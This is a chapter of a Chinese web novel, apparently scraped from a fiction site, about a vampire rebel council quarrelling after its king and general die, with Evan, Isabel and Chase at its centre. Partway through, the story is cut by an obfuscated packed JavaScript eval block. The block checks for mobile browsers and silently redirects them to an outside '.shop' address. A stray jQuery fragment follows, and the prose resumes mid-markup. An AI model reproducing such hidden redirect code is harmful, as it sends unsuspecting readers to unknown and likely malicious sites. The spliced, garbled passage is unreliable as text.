“好了,我还有正事要办,你就在这里呆着吧,只要别出门,其他的随便你。阿塔莉马上就来。”
查伊斯走后不久,阿塔莉就来了。
她是个高个子女人,穿着一身陈旧的打着整齐补丁的棕色裙子,袖口盖过手背,裙摆遮住脚踝,向上斜行的细长眉毛带着肃穆冷峻的神情。她动作迅速地服侍依诗兰黛睡下了,一举一动标准得像是在完成任务。
依诗兰黛确实是十分疲惫了,她僵直地躺在床上,浑身没有力气,很快就睡死过去。
在这间不见天日的城堡的地下,就是起义军的指挥部了。
这里像蜂窝一样拥挤着情报部、指挥部、秘书部、监听部、侦察部、后勤部等等。这套非常精密的作战部门分类是埃文多年总结的心血,在这个星球上还没有哪个别的种族会采用呢。
查伊斯没有依诗兰黛的好福气,连日的奔波劳累之后他来不及休息,就急忙投入到会议中了。
“现在,各位,我们不得不面对这个事实,即我们的王已经不在人世,而我们的将军也已经命丧黄泉。是的,尽管我们没有亲眼所见,也没能找到她的尸体,但是克里斯汀娜的力量已经完全消散,我们目前的处境是极其严峻的。安如家族很可能采取了非常的手段来对付我们……”
说话的人顿了一顿,从桌上拿起盛满鲜血的酒杯痛饮一口。
他是莱恩·斯图亚特,克里斯汀娜·斯图亚特的弟弟。他身形高大瘦削、面色阴翳。从他的五官上依稀可辨往日的英俊模样,但是自从被克里斯汀娜抢走了继承权后他就终日郁郁寡欢,把自己的前途全给毁啦,连带着他的相貌也变得颓丧。
不过,此刻他倒是容光焕发踌躇满志,尽管面上做出一副忧心忡忡的神态。
在这场汇集了起义军所有首脑的最高级别的会议中,混入了两个新面孔。
一个是埃文·兰开斯特,这是在理论上是无可争议的,毕竟他是兰开斯特家族的继承人,未来也很可能成为他们的领袖。
但是事实上,大部分人对于埃文并不服气。他是一个在安如王宫里长大的血族,也没有参加过任何一场他们的战斗,并且他现在还一副面色苍白体弱多病的模样,实在难以叫人信服。
但是另一个更讨厌,她是一个此前从未出现过的新人,而且还是一个女的。尽管与克里斯汀娜共事多年,这帮人还是很不能接受一个女性参与这些事务,何况是伊莎贝尔可不是克里斯汀娜那个怪物,她是一个娇滴滴的娘们。
面对这种形势,伊莎贝尔也没有表现出认真参与的模样。她更像是一个约拿家族的代表,在父亲不顶用又没有兄弟的情况下,勉为其难的作个代表。
在莱恩发言时她还勉强端坐着听讲,等到后面的人说话时,她就开始用眼神不停地瞟着埃文·兰开斯特。她那双骚动不宁的大眼睛搅得男人们心烦意乱,自然也就引起了他们的不满。
其实她只是担心埃文的身体而已,毕竟强行夺取力量对自身的伤害是不可估量的。比起在这里没完没了的开会,让埃文去休息把力量好好磨合一番比什么战术都有效。
毕竟他们现在的困难,一个是群龙无首,另一个就是那个城堡里的老国王掌握着巨大的力量,他不是亚历山大的对手,却比在场的每一个人都厉害。
如果埃文能够顺利继承亚历山大的力量,那么他就是当之无愧的王了,那个老东西也不会是他的对手。
想到这里,伊莎贝尔对这帮人的计划就完全不感兴趣了。
查伊斯对他们的计划也同样不感兴趣,他之所以没有找个借口躲掉这场会议就是想看看埃文和伊莎贝尔会怎么应付这帮老家伙。
在他眼里,这些人中除去他的手下和埃文,只有莱恩还算有些头脑,其他人都只不过是略有武力的莽夫。而没有“力量”的莽夫在查伊斯的眼里就全不算什么了。
埃文和伊莎贝尔也并没有令他失望:一个几乎一直闭着眼睛在装死,像一个小怂包一样嘴唇颤抖、手脚哆嗦;另一个则一直心不在焉的。
查伊斯对那帮老东西的忍耐力一向不抱期望,他迫不及待地想看到他们暴怒的样子,看看那两个人怎么解决这一场分裂。
终于,一个山羊胡子轮到了发言权。
他一站起来,就以浮夸的态度和不合时宜的优雅姿态向在座的诸位鞠躬,果不其然地收获了伊莎贝尔的白眼。老山羊立即吹胡子瞪眼地对这种轻蔑的态度予以谴责。他滔滔不绝的输出明显浪费了众人的时间,而那番红颜祸水的论调又让伊莎贝尔很不舒服。
“闭嘴吧你!”伊莎贝尔一向随性妄为,这回也不留情面地打断了这个滑稽的家伙。
当山羊胡子还想开口时,一股滑腻冰凉的触感扼住了他的咽喉——一条青色的小蛇环绕在他的脖子上,“嘶嘶”地吐着血红的信子。而伊莎贝尔饶有兴趣地注视着他惊慌失措的面孔,挑衅地笑了笑。
“妖女!你竟然玩这种巫术!”
“杂种!立刻收手!”
“够了!”埃文本不是暴躁的人,奈何今晚他的状态不好,强取来的“力量”一直在他体内乱窜,搅得他不得安宁。他拍了桌子一掌,不曾想没控制好,张狂的气流在狭小的空间里乱窜,墙壁吱呀作响,灰尘团团飞起又噗噗坠落。
那一瞬,众人都望见了他眼中的血光,感受到陡然阴沉的气压,个个噤若寒蝉。
只有查伊斯和伊莎贝尔面不改色,查伊斯甚至眼带笑意,而伊莎贝尔则担心地望着埃文。
埃文·兰开斯特冷冷地扫视着一圈人,视线冷酷而阴郁。
“查伊斯,你主持一下会议。”埃文起身离去的时候,伊莎贝尔悄悄拉了一下他的袖口,轻轻地说:“去找圣女。”
埃文碰了一下她的指尖:“知道,你配合查伊斯。”
埃文走后,众人面面相觑,谁也不敢贸然开口,但又都想知道一个本该没有“力量”的人为什么突然如此强大。他们大概只能认为之前他是在隐藏实力,或许是害怕兄长猜忌。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861932|212039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>只有查伊斯知道,要是埃文真有这么强大,至少他不会任由克里斯汀娜如此放肆地践踏自己。
那么,他的“力量”只能是近期获得的了。
但是根本不可能有什么禁术能让人短时间内提升这么多,即使有他也不相信埃文会用。那么他只能是从别人身上得来的。他很快想到埃文和伊莎贝尔古怪举动,也许他们是从亚历山大那里窃取了“力量”?
查伊斯顿时对伊莎贝尔好奇起来。
埃文让他主持会议,结果他却在这里琢磨其他事情,尽管他琢磨的也正是他们想知道的,但是既然他并不打算告诉他们他的推测,又有谁愿意给他时间呢?
然而他们都不敢抢先开口,整个会议室在紧急的战局下陷入了难熬的沉闷。查伊斯终于在看到伊莎贝尔快要睡着之后开口了:“嘿,这位小姐,你觉得我方两员大将的折损,是什么原因?”
伊莎贝尔疑惑于他那种漫不经心的口气和用词,礼尚往来地回敬道:“有可能他和其他种族做了交易吧,这位小王子。但是普通魔女和巫师的法力和血族长老的力量根本不能相提并论。但是……如果是巫族的长老……”伊莎贝尔犹豫了。
“嗯,那也比较困难。冥族分裂成魔族和巫族,本来就元气大伤。虽然这么多年渐渐恢复,但想要一举打败亚历山大和克里斯汀娜可不容易。”
如果他们俩先内讧了那就另当别论。伊莎贝尔暗自在心里补充道。
“如果他们借用别的力量呢?比如,借助安如国王的力量?”既然埃文可以借助亚历山大的力量,那么安如国王的力量自然也可以被借用吧。伊莎贝尔盯着查伊斯的蓝眼睛,总觉得他在套话。
但事关重大,她咬了咬嘴唇,还是微不可察地点点头。
“嗯哼。”她不想和查伊斯多说了。
查伊斯于是宣布道:“那就散会吧,我和伊莎贝尔会负责把这件事查清楚。你们原地休整,正好已经攻打下来的城池还需要巩固,进攻的事情暂时听埃文的。”
会后,伊莎贝尔不想和那帮老气横秋的古董们一起走,便故意拖拖拉拉留在后头。没想到那讨厌的金发小混蛋竟然也留了下来。
等到会议室里只剩下他们两个的时候,查伊斯走到伊莎贝尔面前说:“我们得去查尔斯满。”
伊莎贝尔不赞同他的决议:“你疯了,你一走,谁来管着这些上蹿下跳、目中无人的家伙!”
查伊斯才不关心这个,这不是他的职责:“埃文会管好他们的。他可是亚历山大的弟弟。再说了,他现在这么厉害,谁敢不服他?”
伊莎贝尔急道:“不行的,你们这帮乌合之众,只唯亚历山大俯首称臣。”
“血族的规矩,就是强者为王。以他目前的力量,谁敢不服气?还有,谁是乌合之众,我们也是为了血族的未来,不像看上去那么不中用的。”
查伊斯看着伊莎贝尔着急的眼神,玩味地俯下身子,探究的眼神直撞进伊莎贝尔的瞳仁:“你在担心什么?”